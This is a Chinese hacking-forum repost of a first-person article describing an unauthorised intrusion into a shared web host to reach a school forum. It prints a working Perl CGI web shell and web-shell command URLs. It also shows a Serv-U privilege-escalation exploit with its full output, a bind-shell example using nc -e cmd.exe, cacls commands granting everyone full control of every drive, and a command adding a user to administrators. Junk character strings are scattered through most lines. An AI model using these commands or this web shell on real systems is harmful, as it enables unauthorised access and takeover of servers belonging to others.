找回密码
 立即注册
查看: 2708|回复: 0
打印 上一主题 下一主题

剑走偏锋——灵巧的旁注攻击

[复制链接]
跳转到指定楼层
楼主
发表于 2012-9-15 14:11:50 | 只看该作者 回帖奖励 |倒序浏览 |阅读模式
剑走偏锋——灵巧的旁注攻击 1 C# o7 S1 W6 Q9 u  ]5 F+ Z
本文作者:angel
. @, D2 M4 u( g9 P0 u文章性质:原创3 H# j, r, y4 N4 z7 W3 G* t( k; K
发布日期:2004-11-09 + H! n9 w; C9 K8 ?" h# ]( M
注意:
# e8 j( K9 \1 o6 [本文的技术并不是最新的,涉及到的技术含量也不是很多,重要的是其中的渗透思路。7 U0 G3 [6 k0 f2 D. D) f$ t5 F' b
本文已在《黑客X档案》11月刊发表,版权归本站及其杂志社所有。8 W4 o9 K* S  n. D, t5 ?8 Y7 ^

7 k5 ?' Q% q0 j" {  终于高中毕业了,一定要在暑假努力学习,发奋学习,以前入侵少之又少,都是研究这样研究那样,实战经验太欠缺了,所以决定暑假恶补一下渗透技术,顺便又可以看看国内主机的安全性。暑假 6 月整整学习了一个月的渗透,从 xiaolu 身上学习到不少好的思路和经验。在此谢谢 xiaolu 了。
  D0 `; a* l1 z: U* j) X7 P2 {& }7 m/ ]6 o
  一个多月的时间里,渗透过上百台服务器,有独立的,有虚拟主机的,有群组的,有国内和国外,我发现一个极其严重的问题,国外的服务器,普遍安全性都非常高,管理员的安全意识非常高,做个比例,如果国内平均每 10 台服务器,能渗透进去 6 台甚至更多,那国外、台湾的,平均每 10 台服务器仅仅能渗透 1 台。当然我的水平也是一个问题。可是却反映出国内的管理员的水平的的确确比国外的要差几个档次。国内的管理员的技术和意识,迫切需要大幅度提高。 9 c. J6 Q9 j0 `% x( C7 E
1 Y, i. [$ j7 _: e$ B
  不过国内的也有比较 BT 的管理员,我就遇见几个服务器设置得非常。其中一个的 Documents and Settings 目录下还有 nsfocus 目录,难道是 nsfocus 公司帮做的安全?这个服务器我们没有拿下,还有另外一个,就是今天的重点。 , z2 i; S! F5 D4 i% T
7 t5 B3 E; m' C
  一次看见了一个学校论坛(http://www.school.com),还蛮火爆的,顿时兴趣来了, ping 了一下,发现 4 个包都返回 Request timed out. 估计是搞了策略或者防火墙的,象我这种以 Web 安全的,自然喜欢从站点上找漏洞,自从学习 Web 开始,我就落下一个怪癖,就是如果实在从 Web 上找不到什么漏洞,宁愿放弃也不用什么漏洞扫描器。 ( t) R) w; h* U, p

) y- N* a, _( d  大概看了看站点。就是一个论坛,采用 LeadBBS ,拿这个论坛没辙,还有其他办法,因为刚才我访问这个 IP ,返回“No web site is configured at this address.”,初步判断是虚拟主机,前段时间那几个黑站狂黑站的成功几率为什么这么高?因为有 http://whois.webhosting.info 这个网站,可以查询一个 IP 上,绑定了多少个域名。如果真的是虚拟主机,这个学校论坛没有漏洞,不代表其他站点就没有,很快的,我就通过一个小公司站点( http://anyhost/ )上的 DVBBS 6.0 传了一个 aspshell 上去,谁知道仅仅能够对自己的目录进行操作。而且自己的目录没有执行程序的权限,又用不了 Nfso ,手工跳转 URL 中的目录,也没有多少个可以浏览的,重要的 Program Files 和 Documents and Settings 目录都看不了,从 aspshell 反馈的信息来看,每个站点都设置了单独的用户,似乎一切都陷入僵局。
" Q5 [: Y3 l' u0 `8 {* G/ z" a& c' ?1 [  ^! H
  没有目的的跳转目录着…… 6 {# [9 I2 C$ J4 N
+ @' d5 K5 W* `% \! o2 |
  我习惯性的在 URL 跳转到 c:\php,没想到居然可以看见了,那这个主机很可能就会支持 php 了,马上传了一个 phpspy 上去,非常幸运,顺利看到了登陆入口,可是没想到进入以后才发现,php.ini 亦设置得异常 BT,安全模式打开了, phpinfo 函数也被禁用了,看不了详细的系统信息,不过看 phpspy 自带的探针可以发现,allow_url_fopen、display_errors、 register_globals 统统关闭,system、passthru、exec、shell_exec 几个函数都无一幸免的被禁用了,直接跳转目录还是只可以看到这些目录而已,各个站点的目录都是类似于 “D:\websites\school.com#dlfjurdlkfjk” 这样的,每个站点目录后面的那些字符串都不一样,也跳转不到,后来我猜测后面的字符串就是 ftp 密码,试验了一下,无法登陆,看似柳暗花明,希望又破灭了…… 2 V2 k# F$ Q; X

1 V2 K; {. L& \" `  结束了吗?不,我试着 FTP 一下: 5 |/ w0 H8 r( \! N$ t8 q# e% w
" ?. T3 b- i$ K; D- E7 B
Microsoft Windows 2000 [Version 5.00.2195]
- M' j+ ^% E* A5 q7 s) |  o(C) 版权所有 1985-2000 Microsoft Corp. ( L# j3 R) _5 e
5 s' ]* k% C! d: q) o
C:\Documents and Settings\Administrator>ftp www.school.com0 [, _! }& n& [" Q) `$ Y  J  S
Connected to www. school.com.
5 y/ }4 d2 E: o" a220 Welcome to FTP Server...
" _# ~9 E3 m# U% c& hUser (www.bjtrq.com:(none)):
6 F. M0 C/ Q. _* u! Q7 }331 User name okay, need password. . F2 h' y. |: K9 Q0 m9 M: r) J# N. o
Password:
0 t. X% e" j: z* U530 Not logged in.
/ e. }$ L6 c& V; X4 `) S; [! f* KLogin failed. 3 V& Q5 G9 O) G# h5 X% {3 E" u) L
ftp> bye % i+ t8 {& p7 P% a+ y3 @
221 Goodbye! , S0 V/ x% v7 H
$ ]) o1 j9 J5 V% ~

1 F1 w* d4 b1 T& P& l3 N' Q# e$ g  从返回的信息判断,我们还是有希望的。尽管他修改了 FTP Server 的 Banner,但是从 User name okay, need password. 这句我们还是大胆的判断这个服务器就是采用 Serv-U ,我上手有目前所有版本 Serv-U 本地提升权限的 Exploit ,如果我能传一个上去,并且能够执行,一切就明朗了。再仔细想想有哪个目录可以写的?当时在 c:\php 目录下没有发现 sessiondata 目录,而且也不是自动安装版,估计管理员把 session 的目录换到其他地方了,不然这个目录是 everyone 可写的……
- h& c4 ~6 p% u; W
  x+ ]$ G; X4 L" c8 l  原来我还忘记了一个最重要的目录, C:\Documents and Settings\All Users ,从这个目录可以知道很多信息,这个目录一般、至少都是 everyone 可读的,这样我们就可以知道好多有用的信息了,直接通过我的 aspshell 手工跳转到这个目录,呵呵。马上看到了想看的目录树。
5 y2 z3 e% t% i, c1 F. n. d, x7 u' k/ z0 Q
Application Data5 r/ s( Z/ d! N' t
Documents
- v7 @* i: f" N- g' i5 FDRM. V' U3 Q  ^# _2 l' b; ^
Favorites! U" Q& O( B4 g# ]9 A5 R" l
Templates
1 A5 F0 k( m5 s「开始」菜单7 ]' H; _: Z/ M, ~0 l
桌面
, |7 ?& ]) d0 u0 M: S! D$ b : Y. N2 U# ]* |% i$ C) Z
6 F$ ^+ N$ B# @. E4 m
  马上试试建目录,可惜里面的目录包括子目录都无法新建, BT 管理员权限设置得还真严格,不过我们还是有收获的,那就是 “C:\Documents and Settings\All Users\ 「开始」菜单 \ 程序 \”目录里,看到了很多决定结果的有用信息, : p- ~; o, @2 }* o5 ]) y4 r' z
/ l, q& x: r; x
ActiveState ActivePerl 5.8& [; r& m* ~1 n  h0 m* X
Administrative Tools
( j; f0 b4 g( P9 F% e+ fDeerfield.com2 Y6 |) A" J( T  W
DTemp
* {) J$ l& }0 Y8 M1 q! dIPSentry3 I/ }. n" g7 I6 s% p9 X. U! O
MBM 5
1 a+ O+ \  w5 Q  D' E- fNetMeter
3 i7 {8 V% k  B" Y, zNetwork ICE
: i( f2 r1 Q) r5 HPersits Software AspEmail1 n- l) d+ I: s' e- C
Persits Software AspJpeg
) X' y9 f0 P9 W6 C* M: k' [/ LServ-U FTP Server. b8 r+ Y6 V0 ]$ _9 f6 @  s) s7 r8 Y
Symantec Client Security6 r1 Z/ a  \" g/ A
Windows 优化大师
6 D# F4 ^5 ~; @' |0 X; s/ GWinRAR
% G. m% G5 }% n  \/ D启动
- R! D6 W) I' ]9 l% a2 q! S管理工具) F0 I% f1 i: o; q, b# P6 k/ l5 w
附件4 ^: M4 f. Z' ^) Y

5 B/ R3 N* P. e
" W7 Q8 {! d% U1 T* i, c  呵呵,现在我们知道了好多有用的信息了,看着这些东西,可以看得出管理员对安全、效率很在意,装了 Perl,也就是说可能支持 cgi 了, IPSentry 这个可以实时检测网站的各类服务, 当某服务停止时, 该软件会打 Pager, 或 EMAIL,或发声,或运行其它软件来提醒管理员,确保服务器出现问题能及时处理,说明管理员比较负责任,NetMeter 可以对网络流量进行监控,装了黑冰防火墙和诺顿杀毒服务器版,说明管理员对于服务器的安全是很小心的,这还不算,还装了另外一个防火墙——VisNetic Firewall,真是 BT 到家了,装了优化大师,看得出这个管理员还是比较爱清洁的。从管理工具里面我们还看到了终端服务客户端生成器.lnk 、终端服务配置.lnk ,还有终端服务,这下好了,说不定顺利就可以多一台 3389 肉鸡了。 % b5 e' q& C  F- A1 `& _6 V5 W( F+ ^
" _+ _( I: q4 B
  先通过 aspshell 下载 Serv-U 的任意一个快捷方式,然后本地查看属性的目标,呵呵,原来 Serv-U 的目录是 "C:\Program Filesewfq4qrqtgy4635\Serv-U\" ,这下好了,直接跳转目录。OH~,yes~~,看到了,马上修改 ServUDaemon.ini文件,这个服务器居然放了 280 个用户,狂晕……不管了,先在添加 [Domain1] 里加一行:
* w+ v, Z3 r1 [$ o
- I, z. M$ U! nUser281=angel|1|0
' L  B; j* L( P/ A9 e 4 _: k, @' X0 i8 B1 f# }, U
9 _/ N( b4 C" E# W3 _# B$ Q% l: s
  然后加上
$ v. F" M: `0 k1 O" B- i
, f& a, x: A0 N5 Q6 r! @[USER=angel|1]8 {! G. V, M2 o" W1 w2 I  j' g4 \- m
Password=ng98F85379EA68DBF97BAADCA99B69B805! _: T3 ?: B: c  q
HomeDir=D:\websites; H  p$ q; D, ~  q9 W. R
RelPaths=1: n4 C/ u" R; q, G
TimeOut=600
  c$ k$ m3 L( ~) p+ r$ CMaintenance=System
4 X5 P9 l, S3 w5 nAccess1=D:\websites|RWAMELCDP
6 s0 T% [7 d& |8 ]/ i- }% WSKEYValues=
) m0 j' K6 `2 Q1 D# M + U: B! M+ L( n
1 S, v: `: ~% c/ J8 r( o, K
  添加一个 angel,密码为 111111 的用户,具有最高权限执行,然后我们就可以 ftp 上去 quote site exec xxxxxxxx 了,嘻嘻偷笑中……
0 y0 w; j, n8 I9 |% a& E  q) ?5 x( L+ M: o+ X
  不过残酷现实再一次粉碎了我的计划,修改好文件以后提交,居然是没有修改成功,看来还是权限,权限权限整惨人啊。 6 p$ L* W4 @+ r0 C, ?  @5 _
/ W+ m) [! m7 E2 O; J8 i
  不过还是有希望的,因为刚才我们看到了系统装了黑冰,有些版本存在“ISS RealSecure/BlackICE 协议分析模块 SMB 解析堆溢出漏洞”,可以远程利用的,手头上没有编译器,没有办法编译代码。
6 Q( h7 K; l' j! Y: l. a: l/ w
, K  {9 ^* J5 P! v  还有就是 Perl,这个是个很大的突破口,因为 Perl 目录一般要 erveryone 完全控制的,不管他用 isap 还是 perl.exe 一般都是可写、可执行的,马上下载 Perl 的快捷方式来看看路径,呵呵,看到了,原来 D:\user\bin 就是存放 perl 的 bin 目录下的所有文件,这么说这个目录可能可以写,也可能可以执行咯,马上传一个 su.exe(针对目前所有版本的 Serv-U 本地提升权限漏洞)上去,呵呵,传上去了,太好了,现在就是执行了,刚才我们试了 aspshell、phpshell 都不行,现在就看最后的希望了,找呀找啊,终于在我硬盘上找到一个 cgishell,很老了,文件日期是 2002 年 6 月 30 日的,代码如下: ; i$ N& O2 `: n* A- {2 @

- G6 j8 P8 J6 q+ R#!/usr/bin/perl: ~6 J+ w+ ^6 J) W2 S0 @8 O, Z; H
binmode(STDOUT);
+ O/ n/ c# V  j5 \syswrite(STDOUT, "Content-type: text/html\r\n\r\n", 27);- a+ H6 a# d" l5 B
$_ = $ENV{QUERY_STRING};
9 D+ }# m: p3 _# n" Qs/%20/ /ig;, D6 C1 T2 ~9 @
s/%2f/\//ig;$ ?* h% m; e4 |8 r0 X2 U# s
$execthis = $_;
2 n8 T' P$ J7 p( y! u" ?0 G( r2 Fsyswrite(STDOUT, "<HTML><PRE>\r\n", 13);
; V) v3 [: b. A5 Y! Dopen(STDERR, ">&STDOUT") || die "Can't redirect STDERR";
+ K- y9 G6 t! P; ^8 r. {; asystem($execthis);
. M0 O3 o) G  k; t8 zsyswrite(STDOUT, "\r\n</PRE></HTML>\r\n", 17);9 P8 j0 W0 z2 o) ?8 X0 V
close(STDERR);
8 @  A7 o( H2 U' g( A9 b8 q% Gclose(STDOUT);
! x2 U, ~1 X! G" F( M+ Eexit;
2 f5 n: x5 @/ e) ~  @ , o1 H) O" h: _9 i1 }: Z

7 \7 G2 F  s' e2 O5 s+ r  我用过最好的 cgishell ,保存为一个 cgi 文件执行,晕……居然不支持!一阵阵郁闷袭来,2 秒钟的郁闷后,想到还有一线希望,那就是pl ,我们还没有试试 pl 扩展呢,把刚才的 cgi 文件改为 pl 文件,提交 http://anyhost//cmd.pl?dir ,我的天啊!!
+ S$ b) i4 r/ U  _; Z6 G; W: Q  R" f& x7 I7 k5 r3 q. P$ J
  显示“拒绝访问”,终于可以执行了!太兴奋了,马上提交:
8 {) S" l/ W7 P' `9 u' e) @+ Z" g- [6 g" A
http://anyhost//cmd.pl?d:\user\bin\su.exe 6 `$ s7 ~( P. l; ]0 Y7 q8 Q4 \
: d6 ]* N# \$ f7 L5 r  q

3 J0 B5 j* N0 S+ h) b8 K8 Q1 n5 h  返回: 4 Z' C: H; C/ S) z  U0 d' A8 s8 t' `
' P! B: p3 e  ^
Serv-u >3.x Local Exploit by xiaolu + V6 I2 Z% o5 l8 Z, a

, O+ r' j  R# v. |4 aUSAGE: serv-u.exe "command" / r0 j* R7 A3 O; s/ Q; N# x

' L7 j& D  A( ~# c$ J) cExample: serv-u.exe "nc.exe -l -p 99 -e cmd.exe"
# c  D4 k8 P9 p- { $ \4 w+ e% w4 f
/ g: t" a) J9 t! T/ O. r( {
  嘻嘻~~现在是 IUSR 权限,那又怎么样?看你这次还不死?提交:   N2 X6 r3 i! N8 t' ?5 R  m6 Q+ [

) l" D, a9 [$ I3 P7 c& ^http://anyhost//cmd.pl?d:\user\bin\su.exe "cacls.exe c: /E /T /G everyone:F" ) Y/ r1 n2 D- F' G" A
$ U; i9 K( ^3 `) P! e2 x, F
http://anyhost//cmd.pl?d:\user\bin\su.exe "cacls.exe d: /E /T /G everyone:F"
  w" v+ W6 _0 X* T
4 A# H, `& Y$ |. Shttp://anyhost//cmd.pl?d:\user\bin\su.exe "cacls.exe e: /E /T /G everyone:F"
+ t% W, r; y& h6 T3 G
/ y- s9 }0 m7 ~0 Rhttp://anyhost//cmd.pl?d:\user\bin\su.exe "cacls.exe f: /E /T /G everyone:F" ( k5 q+ w6 d8 x0 p" Q
! b1 j2 ^( V/ q7 [
" D8 r: D# m; }
  返回下面的信息,就表示成功了!!!
& S# N  V% w4 \2 f5 u( D3 X& {
! U& M) i! r. Q5 YServ-u >3.x Local Exploit by xiaolu 5 ^- k( x: x; b5 t4 r" v
) ^! Y  W! o$ r! E- d
<220 Serv-U FTP Server v5.2 for WinSock ready...
7 Y6 {4 U- w& t1 T3 g5 F2 t- v& L( P" u" j9 S, |# M
>USER LocalAdministrator 7 ~3 e: L: O3 S' ^7 n0 f
. I: n$ \% F) Y+ C$ }2 q3 r9 M: H
<331 User name okay, need password. ) k! b+ C$ K  J; r1 A

1 S' w' [- c7 O# Q******************************************************
8 ?) a: v; _4 v/ {0 V& ]2 N# i4 v! g# D  y3 @
>PASS #l@$ak#.lk;0@P
. S$ |# G* O* b" C" `* u, [3 T3 B, P) A& ?
<230 User logged in, proceed.
, p- {7 X) k! j0 s% p9 ?
1 j8 h* I7 y, b****************************************************** # I) X7 p& k' h  [# f

  d! d- g4 c5 q: K>SITE MAINTENANCE % V5 b! _" N# K2 m

( j' j( l* I# W  |7 ~******************************************************
" d0 d9 k1 c1 E  c
% p5 U  f( W' ][+] Creating New Domain... 0 a  W: U0 n- a& i, |3 H
6 k/ t& e: g2 }; v0 A
<200-DomainID=2
' h2 A9 f8 K' q9 Y! X
8 n* V9 u. [6 o3 w0 L; [<220 Domain settings saved * ~/ p. T( ]3 r) |

" [, N0 ~& _- f9 M****************************************************** # L. x4 z$ O! o

6 P  ]7 L" ]: a& o4 Z2 a; {[+] Domain xl:2 Created 0 z- e9 z5 t  Z* V4 H
9 @* b$ C# h3 Y; v2 L
[+] Creating Evil User , M1 m# \( Q# }) h

: v7 S5 D. s7 x3 x5 n+ p<200-User=xl 5 X+ `! Q' X% ^6 m% g' K" D
4 x* A* G- f, X( n) `
200 User settings saved
8 D, e6 \7 g: r5 f- y1 o
& u+ ~, d# Q( `. E! C7 q5 N****************************************************** " [% C+ {6 i' E+ ]5 F

; E- m& @' P$ M8 y. l[+] Now Exploiting...
; L# G. t3 q/ ^; ?  g
+ S2 ^1 `2 {: u1 V- q& `( g% J>USER xl ( C0 a& r& P/ E3 @

5 V9 m3 N% y- G<331 User name okay, need password. % D/ w! G" {7 w  }+ S0 }# {  t. n

# r+ k1 O0 f- O: T******************************************************   y+ h( c/ R' c8 u9 f

( K+ ^1 }1 W  D* J+ ~>PASS 111111
/ ~7 q( y& S5 G- t& ?9 v! Y; V$ t. S" u+ y: c5 K2 m  c* W2 n
<230 User logged in, proceed. 0 j% F, j9 g) j( Z: {9 d- V1 Y; W
; A% _' J8 H" ^' k
******************************************************
8 X( Q% j2 C$ F7 A) J& ^: r+ L/ C, i: ?
[+] Now Executing: cacls.exe c: /E /T /G everyone:F 1 L; w$ d, b& G/ `+ f( e8 {

( ^& U! X7 T! m' Q<220 Domain deleted
( J3 P/ L$ q8 Q' I  w" B9 r1 `3 j6 q: t
******************************************************
2 ]* m1 H5 u1 o" n% C+ W! x! Y5 n4 W
7 t: s3 s% z+ p# t0 G7 i2 ]0 Y6 a( `9 R* T0 L
  每提交完一次都稍微等一下,因为这些命令需要时间处理的,不一会儿,就把所有分区设置为 everyone 完全控制了,可以任意操作硬盘的东西了,但是有些命令还是受了限制,因为权限还没有提升,现在我们把自己的用户提升为管理员: 7 V9 v4 r' Y$ m3 x
  V0 f6 B% @  v4 s' G
http://anyhost//cmd.pl?d:\user\bin\su.exe " net localgroup administrators IUSR_anyhost /add"
2 u) J3 q6 X' a4 r: s 3 r5 o2 z* l9 t( _
. S. \# Z8 P. A3 D8 @6 m
  现在我们通过 web 方式,执行的命令就是以 administrator 的身份执行的了,相信到这里,下面的事该做什么,大家应该知道了吧?马上找到那个学校的目录,进去咯~~目的达到了,本来还想做一个 3389 的肉鸡的,想想算了,这种 BT 管理员的地盘,我也占领不了多久,留点提示到他的桌面就 over 了。 1 a- t5 N5 R2 B

( f& b& C1 M/ m  说真的,搞安全这么久,从来没有遇见这么棘手的虚拟主机,要不是装了 Perl,还真是束手无策!本文技术含量不高,只是分享一下希望其中的思路,如果有一个人从中受益,这篇文章就完成它的使命了。- U) S& B! U7 s' x( L
2 k" ?1 }( P: m( n! h
  ) {9 E/ i! [# K, T" T
回复

使用道具 举报

您需要登录后才可以回帖 登录 | 立即注册

本版积分规则

快速回复 返回顶部 返回列表